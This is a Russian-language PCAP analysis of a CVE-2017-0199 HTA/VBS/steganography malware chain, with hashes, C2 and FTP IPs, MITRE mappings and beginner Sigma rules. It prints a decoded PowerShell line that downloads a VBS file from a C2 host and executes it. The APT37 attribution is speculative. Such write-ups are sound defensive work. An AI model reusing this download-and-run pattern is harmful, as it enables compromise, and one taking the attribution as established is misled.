
CVE-2017-0199 XLS --> HTA --> VBS --> стеганография --> вредоносное ПО стиля DBATLOADER/GULOADER
Анализ на основе PCAP | Дата: 2025-03-12 | Автор: BlackOclock
14.1 Полная схема цепочки атак
14.2 Индикаторы компрометации (IP-адреса, хэши, домены)
14.3 Рекомендации
ПРИМЕЧАНИЕ!!! В этом анализе использовался 'ТОЛЬКО' PCAP-файл! ZIP-файлы не понадобились;

Фигура 1: загруженные исходные файлы на malware-traffic-analysis.net – использовался 'ТОЛЬКО' PCAP-файл\
2025-01-09 (ЧЕТВЕРГ): CVE-2017-0199 XLS --> HTA --> VBS --> СТЕГАНОГРАФИЯ --> ВРЕДОНОСНОЕ ПО ТИПУ DBATLOADER/GULOADER
2.1-Иерархия протоколов – Общая картина

Я начал с иерархии протоколов, чтобы получить общую картину трафика. Это показывает объём каждого используемого протокола. Как показано на рисунке, TLS составляет 82,4% всего трафика. Кроме того, присутствуют данные Media Line и Line-Based. Однако для лучшего понимания сетевой активности необходимо изучить разговоры и конечные точки.
2.2-Разговоры – Основные участники и передача данных

Мы используем разговоры для обнаружения пар IP-адресов с наибольшим объёмом передачи данных между ними. Анализ показывает, что 10.9.1.101 (хост) и 104.17.201.1 имеют наибольший объём трафика. Для этой передачи данных использовались порты 80 и 443. Кроме того, мы видим, что 3 МБ данных было передано на 10.9.1.101 (хост) с 104.17.201.1. Ещё одной критической находкой является соединение на порту 21 из-за подключения от WAN IP (89.39.83.184), что указывает на возможную эксфильтрацию. Но мы пока не уверены, так как ещё не знаем об этом. Нам нужно доказательство!
2.3- Конечные точки

Мы используем конечные точки для выявления основных участников сети. У 104.17.201.1 – 3 МБ переданных данных (Tx), а у 10.9.1.101 – 3 МБ полученных данных (Rx). Кроме того, основными участниками являются 104.17.201.1 как источник и 10.9.1.101 как назначение.
2.4- HTTP-экспорт объектов

Экспорт используется для идентификации файлов, данных, писем и т.д., передаваемых по сети. Каждый раз при анализе pcap следует просто проверить это, чтобы увидеть, какие пакеты содержат какие данные. Итак, мы отметили пакеты 88, 132, 2457 и 2468.
2.5- Фильтр HTTP Contains

Если в сети есть протоколы http, следует проверить png, zip, jpg, jpeg (стеганография) в качестве медиафайлов в фильтре, так как атакующие часто используют вредоносный код в медиафайлах для обхода антивирусного обнаружения.
#Пример: http contains ".png" или http contains ".jpg" или http contains ".jpeg" или http contains ".zip"
Мы видим, почему этот фильтр важен, когда на сети используется порт 80. Здесь есть .hta, который был отправлен в медиафайлах в пакете 47. Но при использовании экспорта для идентификации файлов его не было.

Мы можем использовать networkminer для более быстрой идентификации в PCAP. Если вы используете REMnux или Linux, вы можете написать в терминале (networkminer pcap_name)
Frame = 47 Filename= seemebestthingsevermeetgivenbestthingsfornewways | Extension = .hta | Size = 47 KB | Source IP = 192.3.27.144 Frame = 132 | Filename= comonstraints | Extension = .vbs | Size = 223 KB | Source IP = 107.172.31.5 Frame = 2457 | Filename = foeMMBIG | Extension = .txt | Size= 325 KB | Source IP = 107.172.31.5

Хэши JA3:
06843d66057fc9cbe42e9d690308903 (Frame 8)62136a81b5b727d039d8160d188863aa (Frame 14)3c4eb72b882d4d1442c67ce73f1292a9 (Frame 140)Отпечатки JA4:
t13d1516h2_8daaf6152771_02713d6af862t13d201000_2b729b4bf63_29829a46703fНо зачем нам нужны хэши JA4 и JA3? Может возникнуть вопрос: что такое JA3 и JA4?
Позвольте объяснить; JA3 и JA4 — это методы, используемые для снятия отпечатков TLS-клиентов и серверов на основе параметров рукопожатия TLS. JA3 создаёт MD5-хэш пакета ClientHello рукопожатия TLS, однозначно идентифицируя клиентское приложение (например, браузер, вредоносное ПО).
JA4 — это более новая техника. Она похожа на отпечаток пальца для интернет-трафика. Как у людей есть уникальные отпечатки пальцев, так и любое программное обеспечение, подключающееся к интернету, оставляет уникальный след. Более полезна для поиска C2-сервера.
Журналы Zeek использовались для проверки извлечённых файлов из HTTP-трафика. В files.log показаны следующие записи:
Эти хэши впоследствии использовались для проверок в VirusTotal.

Hta (seemebestthing…)
MD5 e90ae8ec16ea2056caaa64ac13a31373 SHA1 8041abda3769b97d8e8b980c6a77fcd2829d715 SHA256 df215a01f6a83014a148c6e407cdc8422e9119a88b4220a1321b2986ea9aef63

MD5 3f691c4d5e1b53d16964d30e35863f77 SHA1 9ade8197b6f8828f384d5431a1d3a1b00e162782 SHA256 a666a99f2056082802f4597f180f891582a527324a16d34b4755ed63e5467882

MD5 9409dc8763c7d40af120ad693545ef98 SHA1 bec5f3f43449189ebf5dadf314288acace4828d7 SHA256 018648727f760e361eb4efa7f955a7815a197224c23016b321ab954767b45b82
Здесь мы экспортируем все файлы из pcap на рабочий стол и проанализируем с помощью binwalk

Файл HTA выглядит чистым. Я не смог найти никаких скрытых данных. Похоже на обычный текстовый файл.
Файл VBS отличается. Я нашёл внутри две вещи:
Некоторые данные в Base64 и HTML-документ Это означает, что VBS-файл имеет несколько слоёв. Атакующий попытался скрыть внутри код.
TXT-файл дал мне странный результат. Там написано "Broadcom header", что не имеет смысла для текстового файла. Возможно, файл повреждён или внутри есть ещё один слой. Мне нужно запустить его в изолированной среде, чтобы понять больше.
Я запустил HTA-файл в изолированной среде. Вот что произошло:

У нас есть результат hta. Оценка 8/10 по Triage.

Цепочка процессов из 5 шагов: mshta.exe (PID 1080) запустился Он запустил cmd.exe (4952) cmd.exe запустил powershell.exe (4424) PowerShell включил SeDebugPrivilege (для доступа к другим процессам) WriteProcessMemory использовался несколько раз для внедрения кода
Цепочка внедрения:
mshta.exe (1080) → cmd.exe (4952) → powershell.exe (4424) → csc.exe (4432) → неизвестный процесс (3332)
PowerShell также проверял запущенные процессы (разведка) и смотрел системный язык (вероятно, для обхода изолированных сред).
Техники MITRE, которые я увидел для hta:
T1059.001 (PowerShell) T1059.003 (cmd) T1057 (обнаружение процессов) T1134 (манипуляция токенами) T1055 (внедрение процессов) T1614.001 (определение языка)

Итак, здесь мы видим FromString64Base в команде PowerShell от cmd.exe. Нам нужно декодировать его в CyberChef, чтобы увидеть код в base64.

В команде PowerShell я нашёл строку Base64. После декодирования с помощью CyberChef я увидел это:
URLDownloadToFile(0, "http://107.172.31.5/comonstraints.vbs", "...", 0, 0) Start-Sleep(3) Invoke-Expression "..."
Итак, это означает, что с 107.172.31.5 загружается comonstraints.vbs, задержка 3 секунды и запуск. На следующем шаге будет загружен comonstraints.vbs.

У нас есть результат vbs. Оценка 10/10 по Triage.
Цепочка процессов: Wscript.exe запустился и запустил PowerShell.exe
На картинке, если мы проверим код в процессах, мы видим #x#.GIBMMeof/5.13.271.701//:p##h ----> Есть закодированный путь . http://107.172.31.5/foeMMBIG.txt (который был замечен в экспорте PCAP)
а также этот сайт https://res.cloudinary.com/dnkr4s5yg/image/upload/v1735420882/givvuo2katk3jnggipgn.jpg, в котором находится вредоносный код внутри jpg. JPG содержит теги <BASE64_START> и <BASE64_END>. Между ними, значит, что есть скрытый код. Скрытый текст на самом деле Base64, но написан задом наперед. Сценарий сначала переворачивает его, затем декодирует. После декодирования он становится небольшой программой (.NET сборка) и запускается на компьютере.
Я попытался загрузить jpg.

Но я не смог его получить. Возможно, этот адрес был закрыт. VBS-файл загружает картинку, находит внутри скрытый код, исправляет его и запускает. Это называется стеганографией – сокрытие вещей внутри изображений.
Техники MITRE:
T1012 - Запрос реестра T1082 - Обнаружение информации о системе T1055 - Внедрение процессов T1057 – Обнаружение процессов T1134 – Манипуляция токенами доступа

Это подтверждает, что foeMMBIG.txt на самом деле является дроппером программы-вымогателя.
Техники MITRE:
7.1 Дерево процессов
mshta.exe (1080) → cmd.exe (4952) → powershell.exe (4424) → csc.exe (4432) → Notepad.exe (4600)
7.2 События WriteProcessMemory
PID 1080 (mshta.exe) записал в PID 4952 (cmd.exe) PID 4952 (cmd.exe) записал в PID 4424 (powershell.exe) PID 4424 (powershell.exe) записал в PID 4432 (csc.exe) PID 4432 (csc.exe) записал в PID 3332 (неизвестный)
7.3 Манипуляция токенами
PowerShell (PID 4424) включил SeDebugPrivilege, что позволило ему получить доступ к другим процессам.
Когда вредоносное ПО запускалось, изолированная среда делала снимки памяти PowerShell (PID 4424). Эти снимки сохраняют то, что было в оперативной памяти компьютера в этот момент.
Я нашёл более 20 файлов дампов памяти

VBS-файл (запущенный WScript.exe, PID 1184) также создал дампы памяти. Эти дампы в основном имеют размер 64 КБ. Это нормально для небольших выделений. Но я проверил наличие дампов памяти Notepad.exe (PID 4600), но их не было. Это интересно, потому что мы знаем, что Notepad использовался для открытия foeMMBIG.txt.

Jarm выведен только для 2 IP-адресов
Я извлёк отпечатки JA4 из NetworkMiner и искал их в GreyNoise. Я нашёл 26 IP-адресов, отмеченных как вредоносные с тем же отпечатком JA4. Затем я проверил все эти IP-адреса в Shodan, чтобы проверить их открытые порты и службы.
Этот список был создан путём проверки GreyNoise, и эти IP-адреса отмечены как вредоносные в GreyNoise:
34.122.147.229 (Попытки подбора учётных данных веб-приложений – по данным источника Guardpot – 7 месяцев назад Этот IP участвовал в 1222 событиях двух различных типов атак. Атаки: tcp-portscan (1177), fortinet-login (45). Первое появление: 2024-05-07 23:10 UTC, Последнее появление: 2025-07-17 17:28 UTC. 3/94 поставщиков безопасности отметили этот IP-адрес как вредоносный . Not After: 2020-11-30 22:10:40 )
107.189.1.175 - результат shodan C: Люксембург Орг : Buy VM Открытые порты: 80 / 443 / 9001 / 9030
104.197.69.115(Попытки подбора учётных данных веб-приложений – по данным источника Guardpot – 5 месяцев назад Этот IP участвовал в 1159 событиях двух различных типов атак. Атаки: tcp-portscan (1124), fortinet-login (35). Первое появление: 2024-07-11 04:26 UTC, Последнее появление: 2025-09-25 12:08 UTC. 4/94 поставщиков безопасности отметили этот IP-адрес как вредоносный )
34.72.176.129 (Попытки подбора учётных данных веб-приложений – по данным источника Guardpot – 5 месяцев назад
Этот IP участвовал в 1233 событиях двух различных типов атак. Атаки: tcp-portscan (1201), fortinet-login (32). Первое появление: 2024-07-11 04:26 UTC, Последнее появление: 2025-09-25 12:12 UTC.
Дополнительная информация на CrowdSec CTI – по данным источника CrowdSec – 1 год назад
Поведение: Попытка эксплуатации / HTTP-брутфорс / HTTP-краулинг + ещё 2. Полные детали на CrowdSec CTI
6/94 поставщиков безопасности отметили этот IP-адрес как вредоносный
34.123.170.104 (Попытки подбора учётных данных веб-приложений – по данным источника Guardpot – 1 месяц назад Этот IP участвовал в 1141 событиях трёх различных типов атак. Атаки: tcp-portscan (1097), fortinet-login (42), web-login (2). Первое появление: 2024-05-23 14:07 UTC, Последнее появление: 2026-01-26 05:22 UTC. Дополнительная информация на CrowdSec CTI – по данным источника CrowdSec – 1 год назад Поведение: HTTP-краулинг / HTTP DoS / HTTP-эксплойт + ещё 1. Полные детали на CrowdSec CTI ) 3/94 поставщиков безопасности отметили этот IP-адрес как вредоносный
121.127.42.69 ( 3/94 поставщиков безопасности отметили этот IP-адрес как вредоносный)
185.220.101.2 результат shodan ( Имена хостов: berlin01.tor-exit.artikel10.org Страна : Германия Организация: Artikel10 e.V. ISP : Stiftung Erneuerbare Freiheit (Это TOR) Порты : 80/443/9001/9002
185.220.101.162 ( Имена хостов: tor-exit-162.relayon.org Страна : Германия / Организация: CIA TRIAD SECURITY LLC ISP : Stiftung Erneuerbare Freiheit)
205.169.39.24 Сканирование сети и разведка портов – по данным источника Guardpot – 8 месяцев назад Этот IP участвовал в 86 событиях одного типа атак. Атаки: tcp-portscan (86). Первое появление: 2024-08-22 22:29 UTC, Последнее появление: 2025-07-04 17:29 UTC.
47.254.76.66 ( Облачный провайдер : Alibaba Cloud Страна : США открытые порты : 22 Операционная система : Linux
Когда мы проверяем 89.39.83.184, мы видим, что этот ip подключается к хосту на порту 21. Если нажать на один из пакетов на 21 ftp и Follow --- > TCP STREAM, мы увидим email и пароль атакующего

Когда мы проверяем файлы в networkminer, там были номера пакетов 2498 (PW_user1_DESKTOP.html) и 2516 (Contacts_Thunder.txt). После экспорта этих файлов в них содержится информация об имени пользователя и пароле для фишинговой атаки (я предполагаю) или кража учётных записей.

Я искал IP-адрес FTP-сервера (89.39.83.184) в Shodan, чтобы узнать больше об инфраструктуре атакующего.

12.1 Результаты VirusTotal и MalwareBazaar
Хэши, полученные из журналов Zeek (Раздел 4), были проверены в VirusTotal и MalwareBazaar. Все файлы были подтверждены как вредоносные:
HTA-файл: 33/61 обнаружений, идентифицирован как AgentTesla VBS-файл: 31/62 обнаружений, идентифицирован как AgentTesla / Talu TXT-файл: 25/62 обнаружений, идентифицирован как Zapchast / Bhgd (дроппер программы-вымогателя)
См. Раздел 14.2 для полного списка хэшей.
12.2 Карта MITRE ATT&CK
T1059.001 - PowerShell T1059.003 - cmd T1134 - манипуляция токенами T1614.001 - определение языка T1012 - Запрос реестра T1082 - Обнаружение информации о системе T1055 - Внедрение процессов T1057 – Обнаружение процессов
12.3 Корреляция с APT37 (ScarCruft)
Почему эта атака похожа на APT37?
Что мы видели в этой атаке - APT37 известен тем, что Для начала заражения используется HTA-файл - APT37 часто использует HTA-файлы PowerShell с командами в base64 - APT37 любит PowerShell Стеганография (JPG со скрытым кодом) - APT37 прячет код в изображениях Внедрение процесса (mshta → cmd → powershell → csc) - APT37 внедряет код в доверенные процессы Эксфильтрация украденных данных по FTP - APT37 ворует учётные данные и файлы Программа-вымогатель в конце - APT37 теперь тоже использует программы-вымогатели Цели, возможно, в Европе - APT37 активен в Европе Заключение Техники, которые мы видели в этой атаке, совпадают с тем, что обычно делает APT37. Это не 100% доказательство, но похоже на APT37. Вероятно, за этим стоит северокорейская хакерская группа.
title: SeDebugPrivilege в PowerShell description: Обнаруживает включение SeDebugPrivilege в PowerShell (возможная манипуляция токенами) logsource: category: process_creation product: windows detection: selection: Image|endswith: '\powershell.exe' CommandLine|contains: 'SeDebugPrivilege' condition: selection
title: Эксфильтрация по FTP description: Обнаруживает FTP-соединения от процессов, которые не должны использовать FTP logsource: category: network_connection product: windows detection: selection: Image|endswith: - '\powershell.exe' - '\cmd.exe' - '\wscript.exe' DestinationPort: 21 condition: selectiontitle: PowerShell Download description: Обнаруживает загрузку файлов PowerShell из интернета logsource: category: process_creation product: windows detection: selection: Image|endswith: '\powershell.exe' CommandLine|contains|all: - 'URLDownloadToFile' - 'http' condition: selection
title: Notepad из Temp description: Обнаруживает открытие Notepad файлов из папки Temp (возможная инъекция процесса) logsource: category: process_creation product: windows detection: selection: Image|endswith: '\notepad.exe' CommandLine|contains: '\Temp' condition: selection
ПРИМЕЧАНИЕ! Я знаю, что это база, но я просто пытаюсь изучить сигма-правила.
##14. ЗАКЛЮЧЕНИЕ И IOC
14.1 Сводка полной цепочки атаки
Заражение началось с вредоносного HTA-файла, загруженного с 192.3.27.144. При открытии запустилась цепочка процессов:
mshta.exe → cmd.exe → powershell.exe → csc.exe → Notepad.exe
Ключевые находки:
<BASE64_START> и <BASE64_END>.
Скрипт извлёк эти данные, перевернул их и декодировал в .NET-сборку. Эта сборка была загружена в память и запущена. Хотя мы не смогли загрузить JPG (ошибка 401), код убедительно указывает, что это был механизм загрузки финальной полезной нагрузки (foeMMBIG.txt).Угроза: APT37 – техники совпадают с известными TTP
14.2 Индикаторы компрометации
IP-адреса:
IP = 107.172.31.5 | Роль = C2-сервер (загрузка VBS, TXT) IP = 89.39.83.184 | Роль = FTP-сервер для эксфильтрации IP = 192.3.27.144 | Роль = источник загрузки HTA IP = 104.17.201.1 | Роль = загрузка первого этапа (3 МБ) 25 вредоносных IP-адресов из GreyNoise | Полный список см. в разделе 9.2
Домены:
Domain = res.cloudinary.com Роль= Стеганография (JPG со скрытым кодом) Domain = ip-api.com Filename= index.B23BDC8E.txt(false) Роль = Обход песочницы
Хэши файлов:
(seemebestthing…).hta MD5 e90ae8ec16ea2056caaa64ac13a31373 SHA1 8041abda3769b97d8e8b980c6a77fcd2829d715 SHA256 df215a01f6a83014a148c6e407cdc8422e9119a88b4220a1321b2986ea9aef63
comostraints.vbs MD5 3f691c4d5e1b53d16964d30e35863f77 SHA1 9ade8197b6f8828f384d5431a1d3a1b00e162782 SHA256 a666a99f2056082802f4597f180f891582a527324a16d34b4755ed63e5467882
foeMMBIG.txt MD5 9409dc8763c7d40af120ad693545ef98 SHA1 bec5f3f43449189ebf5dadf314288acace4828d7 SHA256 018648727f760e361eb4efa7f955a7815a197224c23016b321ab954767b45b82
Учётные данные FTP:
14.3 Рекомендации
47.251.118.89 (Облачный провайдер : Alibaba Cloud Страна : США открытые порты : 22 Операционная система : Linux)
107.189.12.7( Имена хостов : tor.privatebrowsing.org Страна Люксембург открытые порты: 80)
47.88.18.245 ( Страна США ОС: Linux открытый порт : 22)
79.127.248.2 ( 4/94 поставщиков безопасности отметили этот IP-адрес как вредоносный Страна США)
185.126.82.201( Страна : США порт : 1080)
45.92.19.139 (Страна : США порт : 59511)
47.251.186.126( Страна : США порт : 22)
79.127.221.66 (Страна : США порт : 1080)
185.241.208.136 ( Страна: Польша Имена хостов ns2.rdp.rs открытые порты : 111/8440/9001)
47.89.246.29 ( Страна : США порт : 22)
185.220.101.110 ( Имена хостов: tor-exit-110.digitalcourage.de открытые порты : 80/123/443/8080)
5.77.252.202 ( Имена хостов : host-202.252.77.5.ucom.am Страна : Армения открытые порты : 1701/8291)
124.198.132.172(Tor) ( Страна : США открытые порты : 111/8110/9001)
185.220.101.9 (Tor) ( Имя хоста : berlin01.tor-exit.artikel10.org Страна : Польша открытые порты : 80/443/9001/9002)
213.230.93.13 ( 4/94 поставщиков безопасности отметили этот IP-адрес как вредоносный Страна : Узбекистан)
138.199.140.203 ( имя хоста : static.203.140.199.138.clients.your-server.de Страна : Германия Открытые порты : 22 / 8080 / 8443 / 9090/ 9100 / 10000 / 10250)